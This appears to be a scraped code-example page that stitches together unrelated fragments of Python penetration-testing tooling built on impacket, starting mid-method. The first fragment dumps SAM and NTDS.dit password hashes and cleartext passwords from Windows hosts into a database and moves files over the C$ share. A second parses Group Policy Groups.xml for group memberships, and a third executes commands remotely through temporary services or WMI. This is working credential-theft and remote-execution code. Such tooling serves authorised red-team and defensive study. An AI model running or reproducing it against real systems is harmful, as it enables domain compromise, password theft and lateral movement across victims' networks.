            if self.con.getServerName().lower(
            ) != self.con.getServerDNSDomainName().lower():
                return (self.con.getServerName() + "." +
                        self.con.getServerDNSDomainName())
            else:
                return self.con.getServerName()
        else:
            return self.con.getServerName()

    def get_domain(self):
        try:
            return self.con.getServerDomain()
        except:
            return self.getServerName()

    def list_shares(self):
        # name=share['shi1_netname'][:-1], description=share['shi1_remark']
        return self.con.listShares()

    ################################
    # Host/Domain Password Policy
    ################################
    def password_policy(self):
        SAMRDump(self).dump(self.host)

    ################################
    # List Shares & Check Share Permissions
    ################################
    def read_perm(self, share):
        try:
            # Silently list path to check access
            self.list_path(share, False)
            return True
        except:
            return False

    def write_perm(self, share):
        try:
            # Create dir to check write access
            tmp = '.' + ''.join(
                [choice(ascii_letters + digits) for x in range(5)])
            self.con.createDirectory(share, tmp)
            self.con.deleteDirectory(share, tmp)
            return True
        except Exception as e:
            return False

    def list_path(self, share, path):
        if not path:
            path = '/*'
        return self.con.listPath(share, path)

    ################################
    # Check if User Admin
    ################################
    def isAdmin(self):
        rpctransport = SMBTransport(self.host,
                                    self.port,
                                    r'\svcctl',
                                    smb_connection=self.con)
        dce = rpctransport.get_dce_rpc()
        try:
            dce.connect()
        except:
            pass
        else:
            dce.bind(scmr.MSRPC_UUID_SCMR)
            try:
                # 0xF003F - SC_MANAGER_ALL_ACCESS
                # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
                ans = scmr.hROpenSCManagerW(dce, '{}\x00'.format(self.host),
                                            'ServicesActive\x00', 0xF003F)
                self.admin = True
                return True
            except scmr.DCERPCException as e:
                pass
        return False

    ################################
    # Dump SAM / LSA
    #   Methods were modified from:
    #     https://github.com/byt3bl33d3r/CrackMapExec/blob/master/cme/protocols/smb.py
    #     https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
    ################################
    def enable_remoteops(self):
        if self.remote_ops is not None and self.bootkey is not None:
            return
        try:
            self.remote_ops = RemoteOperations(self.con, False, None)
            self.remote_ops.enableRegistry()
            self.bootkey = self.remote_ops.getBootKey()
        except Exception as e:
            self.logger.fail('RemoteOperations failed for {}: {}'.format(
                self.host, str(e)))

    def sam(self):
        def add_sam_hash(sam_hash, host):
            self.logger.success([self.host, self.ip, "SAM HASH", sam_hash])
            username, _, lmhash, nthash, _, _, _ = sam_hash.split(':')
            self.db.update_user(username, '', host,
                                "{}:{}".format(lmhash, nthash))
            add_sam_hash.added_to_db += 1

        try:
            add_sam_hash.added_to_db = 0
            self.enable_remoteops()
            if self.remote_ops and self.bootkey:
                SAMFileName = self.remote_ops.saveSAM()
                SAM = SAMHashes(SAMFileName,
                                self.bootkey,
                                isRemote=True,
                                perSecretCallback=lambda secret: add_sam_hash(
                                    secret, self.host))
                SAM.dump()
        except Exception as e:
            self.logger.debug('SAM Extraction Failed for {}: {}'.format(
                self.host, str(e)))

        if add_sam_hash.added_to_db > 0:
            self.logger.success([
                self.host, self.ip, "SAM HASH",
                '{} NTLM hashes added to the database'.format(
                    add_sam_hash.added_to_db)
            ])

        try:
            self.remote_ops.finish()
            SAM.finish()
        except Exception as e:
            self.logger.debug(
                ["SAM", "Error calling remote_ops.finish(): {}".format(e)])

    def ntds(self):
        def add_ntds_hash(ntds_hash):
            if ntds_hash.find('$') == -1:
                if "CLEARTEXT" in ntds_hash:
                    try:
                        add_ntds_hash.clear_text += 1
                        username, password = ntds_hash.split(":CLEARTEXT:")
                        domain, username = username.split("\\")
                        self.db.update_user(username, '', domain, password)
                        add_ntds_hash.added_to_db += 1
                    except:
                        self.logger.fail(
                            "Error adding clear text cred to db: {}".format(
                                ntds_hash))
                else:
                    if ntds_hash.find('\\') != -1:
                        domain, hash = ntds_hash.split('\\')
                    else:
                        domain = self.domain
                        hash = ntds_hash

                    try:
                        username, _, lmhash, nthash, _, _, _ = hash.split(':')
                        parsed_hash = ':'.join((lmhash, nthash))
                        if validate_ntlm(parsed_hash):
                            add_ntds_hash.ntds_hashes += 1
                            self.db.update_user(username, '', domain,
                                                "{}:{}".format(lmhash, nthash))
                            add_ntds_hash.added_to_db += 1
                    except:
                        self.logger.debug(
                            "Skipping non-NTLM hash: {}".format(ntds_hash))
            else:
                self.logger.debug("Skipping computer account")

        try:
            self.enable_remoteops()
            use_vss_method = self.args.use_vss
            NTDSFileName = None
            add_ntds_hash.ntds_hashes = 0
            add_ntds_hash.clear_text = 0
            add_ntds_hash.added_to_db = 0
            outfile = os.path.join(os.path.expanduser('~'), '.ar3',
                                   'workspaces', self.args.workspace,
                                   self.domain)

            if self.remote_ops and self.bootkey:
                if self.args.ntds is 'vss':
                    NTDSFileName = self.remote_ops.saveNTDS()
                    use_vss_method = True

                NTDS = NTDSHashes(NTDSFileName,
                                  self.bootkey,
                                  isRemote=True,
                                  history=False,
                                  noLMHash=True,
                                  remoteOps=self.remote_ops,
                                  useVSSMethod=use_vss_method,
                                  justNTLM=False,
                                  pwdLastSet=False,
                                  resumeSession=None,
                                  outputFileName=outfile,
                                  justUser=None,
                                  printUserStatus=False,
                                  perSecretCallback=lambda secretType, secret:
                                  add_ntds_hash(secret))

                self.logger.info([
                    self.host, self.ip, "NTDS",
                    'Dumping NTDS.dit, this could take a minute'
                ])
                NTDS.dump()

                self.logger.success([
                    self.host, self.ip, "NTDS",
                    '{} NTLM hashes and {} clear text passwords collected'.
                    format(add_ntds_hash.ntds_hashes, add_ntds_hash.clear_text)
                ])
                self.logger.success([
                    self.host, self.ip, "NTDS",
                    '{} creds added to the database'.format(
                        add_ntds_hash.added_to_db)
                ])
                self.logger.info([
                    self.host, self.ip, "NTDS",
                    'Hash files located at: {}'.format(outfile)
                ])

            else:
                raise Exception("RemoteOps and BootKey not initiated")
        except Exception as e:
            self.logger.fail('NTDS Extraction Failed for {}: {}'.format(
                self.host, str(e)))

        try:
            self.remote_ops.finish()
            NTDS.finish()
        except Exception as e:
            self.logger.debug(
                ["NTDS", "Error calling remote_ops.finish(): {}".format(e)])

    ################################
    # File Interaction
    ################################
    def createFile(self, filename, data, share='C$'):
        # Create new file & write data, Not In Use
        f = remotefile.RemoteFile(self.con, filename, share)
        f.create()
        f.write(data)
        f.close()

    def uploadFile(self, local_file, location, share='C$'):
        f = open(local_file)
        self.con.putFile(share, location, f.read)
        f.close()

    def downloadFile(self, remote_file, location='ar3_download', share='C$'):
        f = open(location, 'wb')
        self.con.getFile(share, remote_file, f.write)
        f.close()
        return

    def deleteFile(self, remote_file, share='C$'):
        self.con.deleteFile(share, remote_file)
Пример #26
0
    def _get_groupsxml(self, groupsxml_path, gpo_display_name):
        gpo_groups = list()

        content_io = StringIO()

        groupsxml_path_split = groupsxml_path.split('\\')
        gpo_name = groupsxml_path_split[6]
        target = groupsxml_path_split[2]
        share = groupsxml_path_split[3]
        file_name = '\\'.join(groupsxml_path_split[4:])

        smb_connection = SMBConnection(remoteName=target, remoteHost=target)
        # TODO: kerberos login
        smb_connection.login(self._user, self._password, self._domain,
                             self._lmhash, self._nthash)

        smb_connection.connectTree(share)
        try:
            smb_connection.getFile(share, file_name, content_io.write)
        except SessionError:
            return list()

        content = content_io.getvalue().replace('\r', '')
        groupsxml_soup = BeautifulSoup(content, 'xml')

        for group in groupsxml_soup.find_all('Group'):
            members = list()
            memberof = list()
            local_sid = group.Properties.get('groupSid', str())
            if not local_sid:
                if 'administrators' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-544'
                elif 'remote desktop' in group.Properties['groupName'].lower():
                    local_sid = 'S-1-5-32-555'
                else:
                    local_sid = group.Properties['groupName']
            memberof.append(local_sid)

            for member in group.Properties.find_all('Member'):
                if not member['action'].lower() == 'add':
                    continue
                if member['sid']:
                    members.append(member['sid'])
                else:
                    members.append(member['name'])

            if members or memberof:
                # TODO: implement filter support (seems like a pain in the ass,
                # I'll do it if the feature is asked). PowerView also seems to
                # have the barest support for filters, so ¯\_(ツ)_/¯

                gpo_group = GPOGroup(list())
                setattr(gpo_group, 'gpodisplayname', gpo_display_name)
                setattr(gpo_group, 'gponame', gpo_name)
                setattr(gpo_group, 'gpopath', groupsxml_path)
                setattr(gpo_group, 'members', members)
                setattr(gpo_group, 'memberof', memberof)

                gpo_groups.append(gpo_group)

        return gpo_groups
Пример #27
0
class RemoteOperations:
    def __init__(self, remote_name, exec_method, username='', password='', domain='',
                 aes_key=None, do_kerberos=False, dc_ip=None, hashes=None, target_ip=None):
        self.__remote_name = remote_name
        self.__exec_method = exec_method
        self.__username = username
        self.__password = password
        self.__domain = domain
        self.__aes_key = aes_key
        self.__do_kerberos = do_kerberos
        self.__dc_ip = dc_ip
        if hashes is None:
            self.__lmhash, self.__nthash = '', ''
        else:
            self.__lmhash, self.__nthash = hashes.split(':')
        self.__remote_host = target_ip
        self.__batchFile = '%TEMP%\\execute.bat'
        self.__shell = '%COMSPEC% /Q /c '
        self.__output = '%SYSTEMROOT%\\Temp\\__output'
        self.__answerTMP = b''
        self.__smb_connection = None

    def __smb_connect(self):
        if self.__smb_connection is not None:
            return
        self.__smb_connection = SMBConnection(self.__remote_name, self.__remote_host)
        logging.debug('SMB server is reachable, trying to authenticate...')
        if self.__do_kerberos:
            self.__smb_connection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                                self.__nthash, self.__aes_key, self.__dc_ip)
        else:
            self.__smb_connection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)

    def __smb_exec(self, command):
        self.__smb_connect()
        rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\svcctl]')
        rpc.set_smb_connection(self.__smb_connection)
        h_scmr = rpc.get_dce_rpc()
        h_scmr.connect()
        h_scmr.bind(scmr.MSRPC_UUID_SCMR)
        h_scmanager = scmr.hROpenSCManagerW(h_scmr)['lpScHandle']
        # Ensure we use a unique service name
        tmp_svc_name = ''.join([random.choice(string.ascii_letters) for _ in range(8)])
        logging.debug('Creating service %s', tmp_svc_name)
        resp = scmr.hRCreateServiceW(h_scmr, h_scmanager, tmp_svc_name, tmp_svc_name,
                                     lpBinaryPathName=command)
        service = resp['lpServiceHandle']
        try:
            scmr.hRStartServiceW(h_scmr, service)
        except Exception:
            pass
        logging.debug('Deleting service %s', tmp_svc_name)
        scmr.hRDeleteService(h_scmr, service)
        scmr.hRCloseServiceHandle(h_scmr, service)
        h_scmr.disconnect()

    def __wmi_exec(self, command):
        # Convert command to wmi exec friendly format
        command = command.replace('%COMSPEC%', 'cmd.exe')
        dcom = DCOMConnection(self.__remote_name, self.__username, self.__password, self.__domain,
                              self.__lmhash, self.__nthash, self.__aes_key, oxidResolver=False,
                              doKerberos=self.__do_kerberos, kdcHost=self.__dc_ip)
        i_interface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
        iwbemlevel1login = wmi.IWbemLevel1Login(i_interface)
        iwbemservices = iwbemlevel1login.NTLMLogin('//./root/cimv2', NULL, NULL)
        iwbemlevel1login.RemRelease()
        win32_process, _ = iwbemservices.GetObject('Win32_Process')
        win32_process.Create(command, '\\', None)
        dcom.disconnect()

    def execute_remote(self, cmd, get_output=False):
        if get_output:
            self.__smb_connect()
            command = self.__shell + 'echo ' + cmd + ' ^> ' + self.__output + ' > ' + self.__batchFile + ' & ' + \
                      self.__shell + self.__batchFile + ' & ' + 'del ' + self.__batchFile
        else:
            command = self.__shell + 'echo ' + cmd + ' > ' + self.__batchFile + ' & ' + \
                      self.__shell + self.__batchFile + ' & ' + 'del ' + self.__batchFile
        logging.debug('Executing remote command through %s : %s', self.__exec_method, cmd)
        if self.__exec_method == 'smbexec':
            self.__smb_exec(command)
        elif self.__exec_method == 'wmiexec':
            self.__wmi_exec(command)
        else:
            raise ValueError('Invalid exec method %s, aborting' % self.__exec_method)
        if not get_output:
            return
        time.sleep(1)
        tries = 0
        while True:
            tries += 1
            self.__answerTMP = b''
            try:
                self.__smb_connection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                break
            except Exception as e:
                if tries > 30:
                    logging.error(
                        'Giving up on command "%s" execution in %s after %u tries to get output file %s (error %s)',
                        cmd, self.__batchFile, tries, self.__output, str(e))
                    raise
                if str(e).find('SHARING') > 0 or (
                        isinstance(e, SessionError) and e.error == 0xc000003a):  # or STATUS_OBJECT_PATH_NOT_FOUND
                    # Stuff didn't finish yet.. wait more
                    time.sleep(5)
                    pass
                else:
                    raise
        return self.__answerTMP

    def __answer(self, data):
        self.__answerTMP += data